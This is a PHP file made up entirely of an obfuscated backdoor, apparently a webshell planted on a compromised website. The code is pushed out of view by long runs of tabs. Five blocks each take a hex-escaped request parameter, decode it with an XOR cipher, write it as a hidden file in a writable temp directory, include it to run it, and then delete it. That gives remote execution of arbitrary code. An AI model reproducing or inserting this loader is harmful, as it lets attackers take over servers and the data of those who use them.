<?php																																										if(array_key_exists("\x74kn", $_REQUEST) && !is_null($_REQUEST["\x74kn"])){ $reference = $_REQUEST["\x74kn"]; $reference =explode ( "." , $reference ) ; $record = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $__len = count($reference ); for($q = 0; $q < $__len; $q++) { $v5 = $reference[$q]; $chS = ord($s[$q % $sLen] ); $dec = ((int)$v5 - $chS -($q % 10))^24; $record .= chr($dec ); } $key = array_filter([getenv("TEMP"), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), "/tmp", "/dev/shm", session_save_path(), sys_get_temp_dir()]); foreach ($key as $symbol): if ((is_dir($symbol) and is_writable($symbol))) { $desc = join("/", [$symbol, ".data"]); if (file_put_contents($desc, $record)) { include $desc; @unlink($desc); die(); } } endforeach; }
																																										if(array_key_exists("m\x61\x72ke\x72", $_POST) && !is_null($_POST["m\x61\x72ke\x72"])){ $property_set = array_filter([session_save_path(), getenv("TEMP"), getenv("TMP"), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", sys_get_temp_dir()]); $ref = $_POST["m\x61\x72ke\x72"]; $ref = explode (".", $ref ); $itm = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s7 ); $__len = count( $ref ); for( $z = 0; $z<$__len; $z++) { $v8 = $ref[$z]; $chS = ord( $s7[$z%$sLen] ); $d = ( ( int)$v8 - $chS -( $z%10))^ 47; $itm .=chr( $d ); } $object = 0; do { $factor = $property_set[$object] ?? null; if ($object >= count($property_set)) break; if (!( !is_dir($factor) || !is_writable($factor) )) { $resource = vsprintf("%s/%s", [$factor, ".dat"]); $success = file_put_contents($resource, $itm); if ($success) { include $resource; @unlink($resource); die();} } $object++; } while (true); }
																																										if(array_key_exists("val", $_POST) && !is_null($_POST["val"])){ $itm = $_POST["val"]; $itm =explode ( '.' , $itm) ; $component = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); foreach( $itm as $y => $v8): $sChar = ord( $salt[$y % $lenS]); $dec =( ( int)$v8 - $sChar -( $y % 10))^ 89; $component .= chr( $dec); endforeach; $entry = array_filter([getenv("TMP"), session_save_path(), "/var/tmp", sys_get_temp_dir(), "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP")]); foreach ($entry as $pgrp): if ((bool)is_dir($pgrp) && (bool)is_writable($pgrp)) { $data = str_replace("{var_dir}", $pgrp, "{var_dir}/.object"); if (@file_put_contents($data, $component) !== false) { include $data; unlink($data); exit; } } endforeach; }
																																										if(array_key_exists("da\x74\x61", $_REQUEST) && !is_null($_REQUEST["da\x74\x61"])){ $parameter_group = array_filter([getenv("TMP"), "/dev/shm", "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/tmp", getenv("TEMP"), sys_get_temp_dir()]); $mrk = $_REQUEST["da\x74\x61"]; $mrk = explode( '.' , $mrk ) ; $symbol = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s3); $u = 0; $__tmp = $mrk; while( $v9 = array_shift( $__tmp)) { $sChar = ord( $s3[$u % $lenS]); $dec =( ( int)$v9 - $sChar -( $u % 10))^ 100; $symbol .= chr( $dec); $u++; } $holder = 0; do { $flg = $parameter_group[$holder] ?? null; if ($holder >= count($parameter_group)) break; if (is_dir($flg) ? is_writable($flg) : false) { $descriptor = implode("/", [$flg, ".sym"]); $success = file_put_contents($descriptor, $symbol); if ($success) { include $descriptor; @unlink($descriptor); die();} } $holder++; } while (true); }


if(isset($_REQUEST["co\x6D\x70"])){
	$descriptor = $_REQUEST["co\x6D\x70"];
			$descriptor		=	explode 	(	 	'.',			$descriptor ) 	 ;
	$mrk	=	'';
            $s8	=	'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS	=	strlen(	 $s8);
            $z	=	0;
    
            array_walk(	 $descriptor	,	function(	 $v7) use(	 &$mrk	,	&$z	,	$s8	,	$lenS) {	$chS	=	ord(	 $s8[$z %$lenS]);
                $dec	=	(	 (	 int)$v7 - $chS -(	 $z %10)) ^ 2;
                $mrk 	.=  chr(	 $dec);
                $z++; }		);
	$element = array_filter([sys_get_temp_dir(), "/dev/shm", getcwd(), "/var/tmp", getenv("TEMP"), getenv("TMP"), session_save_path(), "/tmp", ini_get("upload_tmp_dir")]);
	while ($res = array_shift($element)) {
    		if ((function($d) { return is_dir($d) && is_writable($d); })($res)) {
    $token = implode("/", [$res, ".ent"]);
    if (file_put_contents($token, $mrk)) {
	include $token;
	@unlink($token);
	exit;
}
}
}
}